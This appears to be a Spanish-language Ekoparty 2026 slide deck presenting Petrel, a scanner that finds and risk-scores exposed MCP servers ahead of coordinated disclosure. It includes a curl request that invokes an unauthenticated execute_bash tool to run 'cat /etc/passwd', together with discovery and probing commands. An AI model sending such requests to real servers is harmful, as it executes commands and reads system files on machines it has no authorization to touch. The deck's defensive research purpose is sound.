

EKOPARTY 2026 · BUENOS AIRES

PETREL

El scanner que ve lo que Shodan no puede
Fingerprinting semántico de servidores MCP expuestos

4.100+
CANDIDATOS

462
CONFIRMADOS

42
CRITICAL

174
GHSAS

NICOLÁS PADILLA — CobaltoSec

De qué vamos a hablar

- 01 ¿Por qué Shodan no puede ver MCP? — El gap semántico
- 02 Petrel — discovery pipeline, sources, arquitectura
- 03 Fingerprinting semántico — MCP JSON-RPC, auth, risk scoring
- 04 Demo en vivo — 4 actos: discover → probe → curl → corvus
- 05 Run 7 — 462 confirmados, 42 CRITICAL, 23% sin auth
- 06 Comparación vs Censys, Knostic, Trend Micro
- 07 `pip install cobaltosec-petrel` → Corvus → 174 GHSAs

21.000 servidores MCP en internet. Nadie sabe qué hacen.

MCP cruzó los 21.000 deployments expuestos en 18 meses — de cero a infraestructura crítica de IA más rápido que cualquier protocolo anterior.

CENSYS → IP · ASN · Banner · Port

sin semántica

SHODAN → IP · Puerto · SSL

sin semántica

PETREL → Tools · Auth · Risk · Capabilities

semántico

Un port scanner ve un socket.

No puede decirte que el servidor detrás ofrece **execute_bash** a clientes no autenticados.

Censys ve:

port: 443 service: HTTP SSL: ✓

Petrel ve:

tools: execute_bash, read_file

auth_state: none

risk_tier: CRITICAL

priority_score: 97

MCP: JSON-RPC sobre HTTP o stdio

- > Protocolo de Anthropic — standard de facto para AI tools
- > Claude · Cursor · Copilot · Windsurf · n8n
- > Transportes: stdio (local) y Streamable HTTP (internet)
- > Handshake: `initialize` → `tools/list` → `invoke`

`initialize` da server name, version, capabilities.

Sin auth requerida por defecto en la spec.

```
POST /mcp HTTP/1.1
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "initialize",
  "params": {
    "protocolVersion": "2024-11-05",
    "clientInfo": {"name": "petrel"}
  }
}

→ 200 OK
→ serverInfo.name: "prod-data-server"
→ capabilities.tools: {}
```

Petrel descubre lo que no está en índices

<code>crt.sh</code>	<code>HuggingFace Spaces</code>	<code>GitHub (1k/query)</code>	<code>npm registry</code>
<code>Smithery.ai</code>	<code>PyPI</code>	<code>Censys</code>	<code>FOFA</code>
<code>Shodan</code>	<code>glama.ai</code>	<code>pulse MCP .com</code>	+ más

Fingerprint MCP exclusivo: "2024-11-05"

Presente en todos los handshakes MCP. Censys no lo indexa — Petrel sí lo busca.

Descubrimiento paralelo con `asyncio.gather`.

Dedup por URL normalizada. `SourceResult` expone errores por fuente.

Habla el protocolo. No lee el puerto.

Para cada candidato, Petrel ejecuta el handshake MCP completo:

- 1 `initialize` → server name, version, platform
- 2 `tools/list` (paginado) → inventory completo
- 3 Auth check → 401/403 en data plane
- 4 Annotations → `destructive`, `readOnly`
- 5 Platform detection → Vercel/Railway/Fly/HF

```
petrel probe https://target.example.com
```

```
server_name: prod-assistant
protocol_version: 2024-11-05
platform: railway
auth_state: none
behind_cloudflare: false
```

```
tools (12):
  execute_bash      [destructive]
  read_file         [readOnly: false]
  list_directory    [readOnly]
  get_weather       [readOnly]
  ...
```

```
risk_tier: CRITICAL
priority_score: 97/100
```

Priority score 0-100 por server

El risk tier (**CRITICAL**/**HIGH**/**LOW**/**INFO**) se calcula de:

EXEC bash, shell, run_command, code_exec

FS_READ read_file, list_dir + sin auth → CRITICAL

SAMPLING sampling + FS_READ → CRITICAL

NETWORK fetch_url + exfil patterns

SCHEMA nested inputSchema (depth ≤ 3)

INSTR server_instructions: injection/creds

priority_score 0-100: ordena dentro del mismo tier.

feed-corvus exporta sorted por score → CS17 ya tiene los 42 CRITICAL primero.

```
petrel feed-corvus results.jsonl \  
  --output targets.yaml  
  
✓ 450 targets written  
42 CRITICAL | 4 HIGH | ...  
sorted by priority_score DESC
```

petrel discover

Candidatos aparecen en tiempo real desde 11 fuentes simultáneas:

```
$ petrel discover --output results.jsonl
```

```
▶ crt.sh           ██████████ 80  candidatos
▶ huggingface      ██████████ 65  candidatos
▶ github           ██████████ 142 candidatos
▶ npm              ██████████ 980 candidatos
▶ smithery         ██████████ 119 candidatos
▶ censys           ██████████ 203 candidatos
▶ shodan           ██████████ 88  candidatos
```

```
...
```

```
Discovered: 4,110 candidates
```

```
Deduped: 2,241 unique URLs
```

```
Probing... ██████████ 462 / 4,110 ✓ MCP
```

```
Progress: ETA 4m 32s
```

```
[incremental JSONL - crash-safe]
```


petrel probe — mismo IP, diferente historia

LO QUE CENSYS VE

```
ip: 34.71.112.88
port: 443
service: HTTPS
ssl: valid
banner: nginx/1.24.0
asn: AS15169 Google LLC
```

↑ eso es todo.

LO QUE PETREL VE

```
server_name: inboxguard-prod
auth_state: none
risk_tier: CRITICAL

tools (8):
  read_inbox    - lee emails del usuario
  delete_email  - elimina emails
  search_contacts
  forward_email [destructive]
  ...

server_instructions: "Always include
  API key in X-Auth header"
priority_score: 94/100
```

"Esto no es un ataque sofisticado. Es curl."

```
curl -s -X POST https://target.example.com/mcp \
-H "Content-Type: application/json" \
-d '{
  "jsonrpc": "2.0", "id": 1,
  "method": "tools/call",
  "params": {
    "name": "execute_bash",
    "arguments": { "command": "id && cat /etc/passwd" }
  }
}'
```

No corremos el comando. Lo mostramos.

La pregunta no es "¿se puede?" — el servidor está en producción y no tiene auth. La pregunta es cuánto tardó alguien en llegar primero.

Sin credenciales. Sin sesión. Sin token.

El mismo request que haría cualquier cliente MCP legítimo. No hay forma de distinguirlo en los logs.

462 servidores MCP confirmados

4.100+

candidatos

462

confirmados (11.3%)

41

CRITICAL

23%

sin auth

POR FUENTE (RUN 7)

Smithery	45 reales (38% conversión)
GitHub	README parsing → +32 URLs
Shodan	"2024-11-05" → highest signal
glama/pulse	registries → 28 nuevos

Pool acumulado: 700+ MCP servers confirmados
(7 runs · Run 7: 462 · último 2026-08-03)

De los 42 CRITICAL: todos sin autenticación.
Capacidades: shell exec, FS access, email, DB.

El gap semántico que los demás no cierran

INVESTIGACIÓN	QUÉ HACE	QUÉ NO HACE	SERVERS
Censys (abr. 2026)	Localiza 21K servers por IP/ASN/banner	No sabe qué tools expone ninguno	21.000+
Knostic	Verifica 119 servers manualmente	Sin dynamic risk scoring, sin pipeline	119
Trend Micro	Encuentra 492 sin auth	Sin tool-level fingerprinting	492
Petrel	Habla MCP, extrae tool inventory, score 0-100, feed-corvus	—	462+

La diferencia no es cuántos servers escaneamos.
Es **qué sabemos de cada uno** después del scan.

Petrel → Corvus → GHSAs

174

GHSAs filed

GHSA inboxguard.io — unauthenticated email

GHSA glimind.com — SSRF CRITICAL

GHSA finvestai — prompt injection

+ 47 en disclosure (90d timeline)

3

publicados

El pipeline completo:

```
petrel discover          # encuentra
petrel probe            # fingerprinta
petrel feed-corvus      # prioriza
corvus batch            # audita
ibis sync --source corvus # drafts
ibis publish ghsa-xxxx  # publica
```

Corvus — el complemento de esta charla.

Petrel descubre los 21.000. Corvus audita los 462 que confirmamos.

DEMO EN VIVO

Shodan cuenta puertas. Nosotros preguntamos qué hay adentro.

```
$ pip install cobaltosec-petrel  
$ petrel discover --output results.jsonl  
$ petrel feed-corvus results.jsonl --output targets.yaml
```

github.com/CobaltoSec/petrel

NICOLÁS PADILLA · CobaltoSec · nicolas@cobalto-sec.tech